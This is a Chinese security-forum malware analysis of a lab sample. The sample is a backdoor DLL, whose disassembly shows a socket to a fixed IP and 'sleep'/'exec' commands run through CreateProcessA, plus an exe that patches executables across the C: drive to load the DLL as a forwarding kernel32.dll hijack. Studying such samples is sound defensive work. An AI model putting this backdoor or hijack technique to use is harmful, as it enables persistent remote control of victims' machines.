问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
Dll劫持转发重定向的后门分析
漏洞分析
## 0x00 前言 这次分析的是一个exe +dll文件，很明显，在exe执行的时候应该要动态链接该dll的，那就一个个分析，逐一攻破。 ## 详细分析 ### 0x01 DLL文件 几个导入函数。包括 `Cre...
0x00 前言 ------- 这次分析的是一个exe +dll文件，很明显，在exe执行的时候应该要动态链接该dll的，那就一个个分析，逐一攻破。 详细分析 ---- ### 0x01 DLL文件 几个导入函数。包括 `CreateProcessA`以及`WS2_32.dll` 的通过网络接收和发送数据的函数。 [](https://shs3.b.qianxin.com/attack_forum/2021/11/attach-fb8007486b79b343f8504209764d2ba21430c7cf.png) 但是该dll文件的字符串很有意思，其中还包括了一个 IP地址 `127.26.152.13` [](https://shs3.b.qianxin.com/attack_forum/2021/11/attach-253e18f06e384b3059d53e5449421dcd716aad0d.png) 另一点比较奇怪的是该dll文件并没有导出函数。 [](https://shs3.b.qianxin.com/attack_forum/2021/11/attach-cf98d42634a2ec4093c00813371c3700f13612b6.png) 那就先从入口点分析吧。但是……指令贼多，一句一句分析效率太慢了。 [](https://shs3.b.qianxin.com/attack_forum/2021/11/attach-b6cef58d87fe7e4f01342cd1d99e26a500d06050.png) 先看call 指令调用的函数吧。 ```assembly 10001015 call alloca_ probe //调用库函数__alloca_probe分配栈空间 10001059 call ds:OpenMutexA //打开互斥量 1000106E call ds:CreateMutexA //创建互斥量 这两个在一起保证同一时间只有这个程序的一个实例在运行 1000107E call ds:WSAStartup //WS2_32.dll的一个函数 10001092 call ds:socket 100010AF call ds:inet addr 100010BB call ds:htons 100010CE call ds:connect 10001101 call ds:send 10001113 cal1 ds:shutdown 10001132 call ds:recv //一直到这里，都是为了建立网络连接socket通信 1000114B call ebp;strncmp 10001159 call ds:Sleep 10001170 call ebp ; strncmp 100011AF call ebx ; CreateProcessA //创建进程 100011C5 call ds:Sleep ``` 到这里大概可以猜一下，该dll文件建立通信后创建进程，很像我们建立shell的行为。 接下来看函数的具体参数。 `connect`连接的是 `127.26.152.13`这个IP地址，并且端口是 50h，即80端口。emm80端口，猜测可能走http协议进行通信，找一下通信的流量 [](https://shs3.b.qianxin.com/attack_forum/2021/11/attach-b82ef6e390cd33b58ab9e37d23e59c9f5c5a7d48.png) 这里 buf数组存入了 hello 字符串……好像cobalt strike里的娱乐弹窗…… [](https://shs3.b.qianxin.com/attack_forum/2021/11/attach-707353f3d8ccf99d789d02f8ee7bc1e99fdfeb61.png) 看下`recv`接收的流量。在 `10001124`处，lea 指令访问 buf，指针指向buf这块缓冲区，接着 `push`了3个参数，调用 `recv`指令，但这里好像也看不出来什么 [](https://shs3.b.qianxin.com/attack_forum/2021/11/attach-48d3107a2779a762cdf225974bc0e6fe4bc3cbd8.png) 接着往下看。`1000114B`cmp 前面是不是 `sleep`字符串，它会在 `10001150`处检查是否返回值是否为0，如果是0，调用 `sleep`函数 也就是说如果远程shell终端发送的命令是sleep，则执行sleep函数 [](https://shs3.b.qianxin.com/attack_forum/2021/11/attach-bb28962f1b5e7a1dbf606d74d6d2060b0f7bb121.png) 到这里并没有结束，buf 缓冲区还在被使用。首先检查指令是不是 `exec`，如果是，`strncpy`函数返回0，顺序执行，直到 `100011AF`处创建进程。看到`CreateProcessA`有很多参数，不过最重要的还是 `lpCOmmandLine`，它来自`1000119B`处的 `CommandLine`,双击追踪这个参数发现它在栈空间中 ```assembly .text:10001161 loc_10001161: ; CODE XREF: DllMain(x,x,x)+142↑j .text:10001161 lea edx, [esp+1208h+buf] .text:10001168 push 4 ; MaxCount .text:1000116A push edx ; Str2 .text:1000116B push offset aExec ; "exec" .text:10001170 call ebp ; strncmp .text:10001172 add esp, 0Ch .text:10001175 test eax, eax .text:10001177 jnz short loc_100011B6 .text:10001179 mov ecx, 11h .text:1000117E lea edi, [esp+1208h+StartupInfo] .text:10001182 rep stosd .text:10001184 lea eax, [esp+1208h+ProcessInformation] .text:10001188 lea ecx, [esp+1208h+StartupInfo] .text:1000118C push eax ; lpProcessInformation .text:1000118D push ecx ; lpStartupInfo .text:1000118E push 0 ; lpCurrentDirectory .text:10001190 push 0 ; lpEnvironment .text:10001192 push 8000000h ; dwCreationFlags .text:10001197 push 1 ; bInheritHandles .text:10001199 push 0 ; lpThreadAttributes .text:1000119B lea edx, [esp+1224h+CommandLine] .text:100011A2 push 0 ; lpProcessAttributes .text:100011A4 push edx ; lpCommandLine .text:100011A5 push 0 ; lpApplicationName .text:100011A7 mov [esp+1230h+StartupInfo.cb], 44h ; 'D' .text:100011AF call ebx ; CreateProcessA .text:100011B1 jmp loc_100010E9 ``` [](https://shs3.b.qianxin.com/attack_forum/2021/11/attach-8d8e95cbf78ebf301275c36697ed9dc66f213b9c.png) 追踪到dllmain函数这里，发现它的初始值是 0FFBh，同时`buf`的初始值是`1000h`，说明缓冲区从这里开始。 [](https://shs3.b.qianxin.com/attack_forum/2021/11/attach-a2fef9438afbb5a9ec15efe4c70d43e25a8a1f93.png) 这里大概清楚了这个dll文件会创建进程来实现远程socket通信，对于攻击者来说就是弹shell，也就是后门。但是这个dll文件并没有导出函数，它怎么被调用执行啊…… 先放一放，看看exe文件 ### 0x02 EXE文件 先看exe的导入表，其中几个重点关注下，当然不止这几个，这里我懒得敲了，等下逐个分析 ```php CreateFileMappingA CreateFileA CopyFileA ``` 很明显，这里exe文件并没有在运行时导入该dll文件，导入函数中没有 `LoadLibrary/ GetProcAddress`，与前面分析dll文件正好对应 [](https://shs3.b.qianxin.com/attack_forum/2021/11/attach-494e5895be2fa4c9c41ad606c186a64f7abd170f.png) 这几个字符串也是很有意思 [](https://shs3.b.qianxin.com/attack_forum/2021/11/attach-b6337fdf5f01f515c6a275dfe934df8b7ef92265.png) 来看一看main函数 ```assembly .text:00401440 mov eax, [esp+argc] .text:00401444 sub esp, 44h .text:00401447 cmp eax, 2 .text:0040144A push ebx .text:0040144B push ebp .text:0040144C push esi .text:0040144D push edi .text:0040144E jnz loc_401813 .text:00401454 mov eax, [esp+54h+argv] .text:00401458 mov esi, offset aWarningThisWil ;"WARNING_THIS_WILL_DESTROY_YOUR_MACHINE" .text:0040145D mov eax, [eax+4] .text:00401460 .text:00401460 loc_401460: ; CODE XREF: _main+42↓j .text:00401460 mov dl, [eax] .text:00401462 mov bl, [esi] .text:00401464 mov cl, dl .text:00401466 cmp dl, bl .text:00401468 jnz short loc_401488 .text:0040146A test cl, cl .text:0040146C jz short loc_401484 .text:0040146E mov dl, [eax+1] .text:00401471 mov bl, [esi+1] .text:00401474 mov cl, dl .text:00401476 cmp dl, bl .text:00401478 jnz short loc_401488 .text:0040147A add eax, 2 .text:0040147D add esi, 2 .text:00401480 test cl, cl .text:00401482 jnz short loc_401460 .text:00401484 .text:00401484 loc_401484: ; CODE XREF: _main+2C↑j .text:00401484 xor eax, eax .text:00401486 jmp short loc_40148D ``` 先分析关键指令，在 `401447`处会比较 eax/argc （即传递的参数的个数）是否为2，如果不是2，跳转到 `101813`，程序终止，这里启动程序时添加参数是为了防止意外启动造成不必要的后果。否则继续执行。在 `401458`处将 "WARNING\_THIS\_WILL\_DESTROY\_YOUR\_MACHINE" 字符串放入 esi 寄存器中，在 `40145D`中，eax 存储 argv\[1\]。接着比较 argv\[1\] 的值是不是 "WARNING\_THIS\_WILL\_DESTROY\_YOUR\_MACHINE" ，如果不是，跳转到 `401488`,程序终止。注意在 `401482`处的跳转到 `401460`，往回跳转，很明显是个循环。 [](https://shs3.b.qianxin.com/attack_forum/2021/11/attach-1dd818bb4567b42ae9f6c869a06b5410ece0860c.png) 接下来分析 `40148D` ```assembly .text:0040148D loc_40148D: ; CODE XREF: _main+46↑j .text:0040148D test eax, eax .text:0040148F jnz loc_401813 .text:00401495 mov edi, ds:CreateFileA .text:0040149B push eax ; hTemplateFile .text:0040149C push eax ; dwFlagsAndAttributes .text:0040149D push 3 ; dwCreationDisposition .text:0040149F push eax ; lpSecurityAttributes .text:004014A0 push 1 ; dwShareMode .text:004014A2 push 80000000h ; dwDesiredAccess .text:004014A7 push offset FileName ; "C:\\Windows\\System32\\Kernel32.dll" .text:004014AC call edi ; CreateFileA .text:004014AE mov ebx, ds:CreateFileMappingA .text:004014B4 push 0 ; lpName .text:004014B6 push 0 ; dwMaximumSizeLow .text:004014B8 push 0 ; dwMaximumSizeHigh .text:004014BA push 2 ; flProtect .text:004014BC push 0 ; lpFileMappingAttributes .text:004014BE push eax ; hFile .text:004014BF mov [esp+6Ch+hObject], eax .text:004014C3 call ebx ; CreateFileMappingA .text:004014C5 mov ebp, ds:MapViewOfFile .text:004014CB push 0 ; dwNumberOfBytesToMap .text:004014CD push 0 ; dwFileOffsetLow .text:004014CF push 0 ; dwFileOffsetHigh .text:004014D1 push 4 ; dwDesiredAccess .text:004014D3 push eax ; hFileMappingObject .text:004014D4 call ebp ; MapViewOfFile .text:004014D6 push 0 ; hTemplateFile .text:004014D8 push 0 ; dwFlagsAndAttributes .text:004014DA push 3 ; dwCreationDisposition .text:004014DC push 0 ; lpSecurityAttributes .text:004014DE push 1 ; dwShareMode .text:004014E0 mov esi, eax .text:004014E2 push 10000000h ; dwDesiredAccess .text:004014E7 push offset ExistingFileName ; "Lab07-03.dll" .text:004014EC mov [esp+70h+argc], esi .text:004014F0 call edi ; CreateFileA .text:004014F2 cmp eax, 0FFFFFFFFh .text:004014F5 mov [esp+54h+var_4], eax .text:004014F9 push 0 ; lpName .text:004014FB jnz short loc_401503 .text:004014FD call ds:exit ``` 在`4014AC`处调用了 `CreateFileA`，接着还有 `CreateFileMappingA/MapViewOfFile/`，所以这么多函数到底干了什么？毋庸置疑的是 创建了 `Kernel32.dll`这个文件，`CreateFileMappingA`这是一个共享内存函数，会 创建一个文件映射对象，目的是为了写入内存中，这里的参数就是 `kernel32.dll`，接着利用`MapViewOfFile`将文件映射到进程地址空间 接着往下看，在 `4017D4`这里，调用了两个 `CloseHandle`，因为对前面的文件已经操作完毕。接着在 `4017F4`处调用 `CopyFileA`，将 恶意dll文件 copy为 kernel32.dll，这样就可以理解为什么 该恶意dll文件没有被导出了，很常规的一次dll劫持 [](https://shs3.b.qianxin.com/attack_forum/2021/11/attach-188ab460dfa98055e68d7e4533cf7926e4600d2f.png) 紧接着传入了C盘的盘符，调用了 `4011E0`， [](https://shs3.b.qianxin.com/attack_forum/2021/11/attach-04f03f3052e363f1438e649f26ab9433ea7895b5.png) 来到 `4011E0`处，只调用了 `FindFirstFileA`，来搜索C盘符， [](https://shs3.b.qianxin.com/attack_forum/2021/11/attach-4972e93af70b5f31817c733627b21610a303d5ce.png) 接下来的call指令就是 `stricmp`，找一下它push的参数，会比较字符串是否是`.exe`， [](https://shs3.b.qianxin.com/attack_forum/2021/11/attach-82f76050efb32e4bb50c04189fea9b4c061b42ed.png) [](https://shs3.b.qianxin.com/attack_forum/2021/11/attach-ac8faadf5ad73925a359fc9fb94e7e44ee53376c.png) 在这之后会调用 `FindNextFileA`，查找下一个文件，然后在 `401427`处jmp 到 `401210`，往前跳转，说明这是一个循环，然后在`40142E`处调用 `FindClose`函数，终止。 [](https://shs3.b.qianxin.com/attack_forum/2021/11/attach-d5525e2a386f0bd679ae06db84f2af49d066c88b.png) 到这里，梳理一下，这个函数在找C盘里的exe文件，并且匹配相应的dll，接着进行一系列操作。 接着`call 4011A0`，看到 `4010A0`处的函数调用。 依旧是调用了 `CreateFileA/ CreateFileMappingA/ MapViewOfFile`用来将文件映射到内存中。 接着调用 `IsBadReadPtr`函数，检查调用进程是否具有读取指定内存区域的权限。下面都是对该函数的一些算术运算，直接pass ```assembly .text:004010A0 sub esp, 0Ch .text:004010A3 push ebx .text:004010A4 mov eax, [esp+10h+lpFileName] .text:004010A8 push ebp .text:004010A9 push esi .text:004010AA push edi .text:004010AB push 0 ; hTemplateFile .text:004010AD push 0 ; dwFlagsAndAttributes .text:004010AF push 3 ; dwCreationDisposition .text:004010B1 push 0 ; lpSecurityAttributes .text:004010B3 push 1 ; dwShareMode .text:004010B5 push 10000000h ; dwDesiredAccess .text:004010BA push eax ; lpFileName .text:004010BB call ds:CreateFileA .text:004010C1 push 0 ; lpName .text:004010C3 push 0 ; dwMaximumSizeLow .text:004010C5 push 0 ; dwMaximumSizeHigh .text:004010C7 push 4 ; flProtect .text:004010C9 push 0 ; lpFileMappingAttributes .text:004010CB push eax ; hFile .text:004010CC mov [esp+34h+var_4], eax .text:004010D0 call ds:CreateFileMappingA .text:004010D6 push 0 ; dwNumberOfBytesToMap .text:004010D8 push 0 ; dwFileOffsetLow .text:004010DA push 0 ; dwFileOffsetHigh .text:004010DC push 0F001Fh ; dwDesiredAccess .text:004010E1 push eax ; hFileMappingObject .text:004010E2 mov [esp+30h+hObject], eax .text:004010E6 call ds:MapViewOfFile .text:004010EC mov esi, eax .text:004010EE test esi, esi .text:004010F0 mov [esp+1Ch+var_C], esi .text:004010F4 jz loc_4011D5 .text:004010FA mov ebp, [esi+3Ch] .text:004010FD mov ebx, ds:IsBadReadPtr .text:00401103 add ebp, esi .text:00401105 push 4 ; ucb .text:00401107 push ebp ; lp .text:00401108 call ebx ; IsBadReadPtr .text:0040110A test eax, eax .text:0040110C jnz loc_4011D5 .text:00401112 cmp dword ptr [ebp+0], 4550h .text:00401119 jnz loc_4011D5 .text:0040111F mov ecx, [ebp+80h] .text:00401125 push esi .text:00401126 push ebp .text:00401127 push ecx .text:00401128 call sub_401040 .text:0040112D add esp, 0Ch .text:00401130 mov edi, eax .text:00401132 push 14h ; ucb .text:00401134 push edi ; lp .text:00401135 call ebx ; IsBadReadPtr .text:00401137 test eax, eax .text:00401139 jnz loc_4011D5 .text:0040113F add edi, 0Ch ``` 继续往下看，找到了 `stricmp`函数调用，来检查 字符串是否是 `kernel32.dll`，接着在`401186`处调用 `repne scasb`，用来重复扫描特定字符串的长度， 在`401196`处调用 `rep movsd`。这里的用处和 `strlen+memcpy`函数是等价的。至于往内存中写入的是什么东西，看下edi寄存器里存的是什么， [](https://shs3.b.qianxin.com/attack_forum/2021/11/attach-a333d4e2d9fca324ab5723149a859783487cc3b2.png) 定位到`403010`处， [](https://shs3.b.qianxin.com/attack_forum/2021/11/attach-60aa73eea70541ae1730bd1c584ad15984f1f86e.png) 这里存储的是 `kernel32.dll`这个字符串，按下A键，可以看到转换为了该字符串。 [](https://shs3.b.qianxin.com/attack_forum/2021/11/attach-d6c8e197449d971bb724d3294956382a24131a84.png) [](https://shs3.b.qianxin.com/attack_forum/2021/11/attach-ca32947ed295663a74b60bb272d5addd27c374b4.png) 总结 -- 至此，梳理下，这个exe文件遍历C盘查找所有的 exe文件，并且找到其中 `kernel32.dll`的位置，并且用我们的恶意dll文件替换它，简单来说就是劫持 `kernel32.dll`。但是也不对啊，这个恶意dll只是实现了后门的功能，并没有正常`kernel32.dll`的功能，按理说劫持后exe文件会运行失败。 动态分析，在恶意代码运行后，正常`kernel32.dll`的md5并没有被改变，说明该dll没有被修改。而当我们再次看我们的恶意dll时，发现它导出了所有的`kernel32.dll`的导出函数，这些导出函数是重定向后的，相当于做了一次转发。功能还在原来的`kernel32.dll`上，只是程序运行时会加载我们的恶意dll。所以在main函数中访问 `kernel32.dll`和我们的恶意dll，是在解析`kernel32.dll`中的导出段并且在恶意dll中创建一个导出段，用来导出并转发函数。这是一个简单的重定向转发dll劫持。 [](https://shs3.b.qianxin.com/attack_forum/2021/11/attach-f516519d25ed5cb53b490f67679045419d8563e5.png) [](https://shs3.b.qianxin.com/attack_forum/2021/11/attach-afb4c2e2be5816cd52a95a01963c3d69b7f9c825.png)
发表于 2021-11-09 09:42:01
阅读 ( 5393 )
分类：
漏洞分析
0 推荐
收藏
0 条评论
请先
登录
后评论
0r@nge
4 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息：
广告、推广、测试等内容
违规内容：
色情、暴力、血腥、敏感信息等内容
不友善内容：
人身攻击、挑衅辱骂、恶意行为
其他原因：
请补充说明
举报原因:
×
如果觉得我的文章对您有用，请随意打赏。你的支持将鼓励我继续创作！
